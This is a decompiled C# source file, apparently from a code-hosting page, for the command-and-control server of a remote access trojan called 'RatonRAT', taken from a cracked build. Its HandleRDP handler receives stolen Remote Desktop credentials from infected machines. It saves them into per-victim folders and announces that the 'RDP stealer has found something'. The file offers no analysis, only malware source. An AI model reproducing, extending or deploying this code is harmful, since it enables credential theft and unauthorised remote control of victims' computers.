40 lines
1.5 KiB
C#
40 lines
1.5 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: Server.Handlers.HandleRDP
|
|
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
|
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
|
|
|
using Raton.Windows;
|
|
using Server.Connection;
|
|
using Stuff;
|
|
using System;
|
|
using System.IO;
|
|
|
|
#nullable disable
|
|
namespace Server.Handlers;
|
|
|
|
internal class HandleRDP
|
|
{
|
|
public HandleRDP(SillyClient client, Unpack unpack)
|
|
{
|
|
try
|
|
{
|
|
string asString1 = unpack.GetAsString("UID");
|
|
string asString2 = unpack.GetAsString("Credentials");
|
|
if (string.IsNullOrEmpty(asString1) || string.IsNullOrEmpty(asString2))
|
|
return;
|
|
string str1 = Path.Combine(Program.ClientsFolder, asString1);
|
|
if (!Directory.Exists(str1))
|
|
Directory.CreateDirectory(str1);
|
|
string str2 = DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss");
|
|
string filePath = Path.Combine(str1, $"RDP_Credentials_{str2}.txt");
|
|
File.WriteAllText(filePath, asString2);
|
|
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) ("Got the RDP credentials: " + filePath), (object) System.Drawing.Color.LightGreen)));
|
|
Notification.Show($"RatonRAT • {unpack.GetAsString("UID")}\nRDP stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
}
|